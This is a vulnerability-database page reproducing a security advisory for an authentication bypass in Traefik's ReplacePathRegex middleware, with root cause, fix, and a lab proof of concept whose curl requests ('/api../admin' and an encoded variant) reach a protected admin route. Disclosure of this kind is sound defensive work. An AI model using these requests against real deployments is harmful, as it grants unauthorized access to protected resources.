GHSA-CXJQ-MRR5-89RV

Vulnerability from github – Published: 2026-08-06 16:51 – Updated: 2026-08-06 16:51
VLAI
Summary
Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware
Details

Summary

There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.*)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.52
  • https://github.com/traefik/traefik/releases/tag/v3.6.23
  • https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex. ### Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: "^/api(.*)"`, `replacement: "/$1"`), an attacker can inject implicit traversal sequences into the capture group. **Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix. **Attack flow:** 1. Attacker sends `GET /api../admin` 2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment) 3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware) 4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin` 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin` 7. Attacker receives protected content without authentication **Suggested fix:** Add the same JoinPath equality check after line 67:
if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {
    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
    return
}
### PoC **Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl **1. Create `docker-compose.yml`:**
services:
  traefik:
    image: traefik:v3.7.6
    command:
      - "--api.insecure=true"
      - "--providers.file.filename=/etc/traefik/dynamic.yml"
      - "--entrypoints.web.address=:80"
    ports:
      - "8080:8080"
      - "80:80"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
    healthcheck:
      test: ["CMD", "traefik", "healthcheck"]
      interval: 5s
      timeout: 3s
      retries: 5
  backend:
    image: node:22-alpine
    working_dir: /app
    volumes:
      - ./server.js:/app/server.js:ro
    command: ["node", "server.js"]
    healthcheck:
      test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"]
      interval: 5s
      timeout: 3s
      retries: 5
**2. Create `dynamic.yml`:**
http:
  routers:
    public-api:
      rule: "PathPrefix(`/api`)"
      entryPoints: [web]
      middlewares: [rewrite-api]
      service: backend-svc
      priority: 1
    protected-admin:
      rule: "PathPrefix(`/admin`)"
      entryPoints: [web]
      middlewares: [auth]
      service: backend-svc
      priority: 2
  middlewares:
    rewrite-api:
      replacePathRegex:
        regex: "^/api(.*)"
        replacement: "/$1"
    auth:
      basicAuth:
        users:
          - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/"
  services:
    backend-svc:
      loadBalancer:
        servers:
          - url: "http://backend:3000"
**3. Create `server.js`:**
const http = require('http');
const path = require('path');
const server = http.createServer((req, res) => {
  const normalized = path.posix.normalize(req.url.split('?')[0]);
  res.setHeader('Content-Type', 'text/plain');
  if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); }
  else if (normalized === '/admin' || normalized.startsWith('/admin/')) {
    res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\n`);
  } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\n`); }
});
server.listen(3000);
**4. Run and exploit:**
docker compose up -d && sleep 5

# Confirm auth is enforced:
curl -s -o /dev/null -w "%{http_code}" http://localhost/admin
# → 401

# Auth bypass:
curl -s http://localhost/api../admin
# → ADMIN_SECRET_DATA (normalized=/admin)

# URL-encoded variant:
curl -s http://localhost/api%2e%2e/admin
# → ADMIN_SECRET_DATA (normalized=/admin)
**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix("/api")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix("/api")` was vulnerable but `StripPrefix("/api/")` was not. ### Impact Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.51"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.22"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65600"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T16:51:10Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThere is a critical authentication-bypass vulnerability in Traefik\u0027s `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.52\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.\n\n\n### Details\nWhen ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), an attacker can inject implicit traversal sequences into the capture group.\n\n**Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.\n\n\n**Attack flow:**\n\n1. Attacker sends `GET /api../admin`\n2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment)\n3. Router matches `PathPrefix(/api)` \u2192 selects the public router (no auth middleware)\n4. ReplacePathRegex applies `^/api(.*)` \u2192 captures `../admin` \u2192 replacement produces `/../admin`\n5. No normalization check exists \u2192 path forwarded to backend as-is\n6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin`\n7. Attacker receives protected content without authentication\n\n**Suggested fix:** Add the same JoinPath equality check after line 67:\n\n```go\nif cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {\n    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n```\n\n\n### PoC\n**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl\n\n**1. Create `docker-compose.yml`:**\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.6\n    command:\n      - \"--api.insecure=true\"\n      - \"--providers.file.filename=/etc/traefik/dynamic.yml\"\n      - \"--entrypoints.web.address=:80\"\n    ports:\n      - \"8080:8080\"\n      - \"80:80\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n    healthcheck:\n      test: [\"CMD\", \"traefik\", \"healthcheck\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n  backend:\n    image: node:22-alpine\n    working_dir: /app\n    volumes:\n      - ./server.js:/app/server.js:ro\n    command: [\"node\", \"server.js\"]\n    healthcheck:\n      test: [\"CMD\", \"wget\", \"-qO-\", \"http://localhost:3000/health\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n```\n\n**2. Create `dynamic.yml`:**\n\n```yaml\nhttp:\n  routers:\n    public-api:\n      rule: \"PathPrefix(`/api`)\"\n      entryPoints: [web]\n      middlewares: [rewrite-api]\n      service: backend-svc\n      priority: 1\n    protected-admin:\n      rule: \"PathPrefix(`/admin`)\"\n      entryPoints: [web]\n      middlewares: [auth]\n      service: backend-svc\n      priority: 2\n  middlewares:\n    rewrite-api:\n      replacePathRegex:\n        regex: \"^/api(.*)\"\n        replacement: \"/$1\"\n    auth:\n      basicAuth:\n        users:\n          - \"admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\"\n  services:\n    backend-svc:\n      loadBalancer:\n        servers:\n          - url: \"http://backend:3000\"\n```\n\n**3. Create `server.js`:**\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst path = require(\u0027path\u0027);\nconst server = http.createServer((req, res) =\u003e {\n  const normalized = path.posix.normalize(req.url.split(\u0027?\u0027)[0]);\n  res.setHeader(\u0027Content-Type\u0027, \u0027text/plain\u0027);\n  if (normalized === \u0027/health\u0027) { res.writeHead(200); res.end(\u0027OK\\n\u0027); }\n  else if (normalized === \u0027/admin\u0027 || normalized.startsWith(\u0027/admin/\u0027)) {\n    res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\\n`);\n  } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\\n`); }\n});\nserver.listen(3000);\n```\n\n**4. Run and exploit:**\n\n```bash\ndocker compose up -d \u0026\u0026 sleep 5\n\n# Confirm auth is enforced:\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost/admin\n# \u2192 401\n\n# Auth bypass:\ncurl -s http://localhost/api../admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n\n# URL-encoded variant:\ncurl -s http://localhost/api%2e%2e/admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n```\n\n**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix(\"/api\")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix(\"/api\")` was vulnerable but `StripPrefix(\"/api/\")` was not.\n\n\n### Impact\nAuthentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-cxjq-mrr5-89rv",
  "modified": "2026-08-06T16:51:10Z",
  "published": "2026-08-06T16:51:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65600"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/3f10dd442479530560f010167cac2947676d9b29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.52"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.23"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…